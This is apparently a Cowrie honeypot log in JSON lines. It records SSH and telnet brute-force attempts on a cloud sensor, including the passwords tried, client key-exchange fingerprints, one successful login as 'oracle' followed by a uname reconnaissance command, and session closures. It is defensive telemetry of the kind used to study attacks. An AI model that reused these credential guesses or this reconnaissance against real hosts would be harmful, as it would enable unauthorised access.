{"eventid":"cowrie.login.failed","username":"root","password":"vfhecz","message":"login attempt [root/vfhecz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:10.828549Z","src_ip":"62.133.63.178","session":"67256a8511af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:11.963819Z","src_ip":"62.133.63.178","session":"67256a8511af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":50660,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2fcfb856168","protocol":"ssh","message":"New connection: 103.75.183.219:50660 (10.17.0.5:22) [session: c2fcfb856168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:37.922674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:37.926544Z","src_ip":"103.75.183.219","session":"c2fcfb856168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:38.173769Z","src_ip":"103.75.183.219","session":"c2fcfb856168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"siemens","message":"login attempt [root/siemens] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:38.916087Z","src_ip":"103.75.183.219","session":"c2fcfb856168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:40.166316Z","src_ip":"103.75.183.219","session":"c2fcfb856168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":37664,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ab0d540a870","protocol":"ssh","message":"New connection: 109.237.96.109:37664 (10.17.0.5:22) [session: 3ab0d540a870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:05.884717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:05.889936Z","src_ip":"109.237.96.109","session":"3ab0d540a870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:05.979078Z","src_ip":"109.237.96.109","session":"3ab0d540a870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assassin","message":"login attempt [root/assassin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:06.363715Z","src_ip":"109.237.96.109","session":"3ab0d540a870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:07.460216Z","src_ip":"109.237.96.109","session":"3ab0d540a870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":36348,"dst_ip":"159.203.135.109","dst_port":22,"session":"177de23a9b70","protocol":"ssh","message":"New connection: 94.159.98.239:36348 (159.203.135.109:22) [session: 177de23a9b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:17.350278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:17.438046Z","src_ip":"94.159.98.239","session":"177de23a9b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:17.542709Z","src_ip":"94.159.98.239","session":"177de23a9b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dancer","message":"login attempt [root/dancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:19.314306Z","src_ip":"94.159.98.239","session":"177de23a9b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:20.544861Z","src_ip":"94.159.98.239","session":"177de23a9b70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":38998,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5aeb1635898","protocol":"ssh","message":"New connection: 62.133.63.206:38998 (10.17.0.5:22) [session: c5aeb1635898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:20.861820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:20.867303Z","src_ip":"62.133.63.206","session":"c5aeb1635898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:21.167467Z","src_ip":"62.133.63.206","session":"c5aeb1635898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:21.540261Z","src_ip":"62.133.63.206","session":"c5aeb1635898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:22.666353Z","src_ip":"62.133.63.206","session":"c5aeb1635898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57380,"dst_ip":"159.203.135.109","dst_port":22,"session":"45aef2bfc2f7","protocol":"ssh","message":"New connection: 193.32.162.151:57380 (159.203.135.109:22) [session: 45aef2bfc2f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:50.690532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:50.695263Z","src_ip":"193.32.162.151","session":"45aef2bfc2f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:50.795185Z","src_ip":"193.32.162.151","session":"45aef2bfc2f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"p2ssw0rd","message":"login attempt [oracle/p2ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:51.118169Z","src_ip":"193.32.162.151","session":"45aef2bfc2f7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:51.367733Z","src_ip":"193.32.162.151","session":"45aef2bfc2f7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:51.370839Z","src_ip":"193.32.162.151","session":"45aef2bfc2f7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:51.476840Z","src_ip":"193.32.162.151","session":"45aef2bfc2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:24:51.481707Z","src_ip":"193.32.162.151","session":"45aef2bfc2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46702,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4343a87589","protocol":"telnet","message":"New connection: 152.42.224.71:46702 (10.17.0.5:23) [session: 1e4343a87589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:25:05.578246Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40748,"dst_ip":"10.17.0.5","dst_port":22,"session":"d71c8323309a","protocol":"ssh","message":"New connection: 103.195.236.96:40748 (10.17.0.5:22) [session: d71c8323309a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:25:28.361498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:25:28.368436Z","src_ip":"103.195.236.96","session":"d71c8323309a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:25:28.602015Z","src_ip":"103.195.236.96","session":"d71c8323309a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zydfhm","message":"login attempt [root/zydfhm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:25:29.548572Z","src_ip":"103.195.236.96","session":"d71c8323309a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:25:30.792633Z","src_ip":"103.195.236.96","session":"d71c8323309a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.58991003036499,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:06.168024Z","src_ip":"152.42.224.71","session":"1e4343a87589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45360,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbda8145ad63","protocol":"ssh","message":"New connection: 80.66.85.226:45360 (159.203.135.109:22) [session: cbda8145ad63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:06.626650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:06.644066Z","src_ip":"80.66.85.226","session":"cbda8145ad63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:06.761023Z","src_ip":"80.66.85.226","session":"cbda8145ad63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia123","message":"login attempt [root/nokia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:07.127898Z","src_ip":"80.66.85.226","session":"cbda8145ad63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:08.224184Z","src_ip":"80.66.85.226","session":"cbda8145ad63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":48340,"dst_ip":"159.203.135.109","dst_port":22,"session":"89d4f8a6564d","protocol":"ssh","message":"New connection: 193.32.162.151:48340 (159.203.135.109:22) [session: 89d4f8a6564d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:59.678096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:26:59.683877Z","src_ip":"193.32.162.151","session":"89d4f8a6564d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s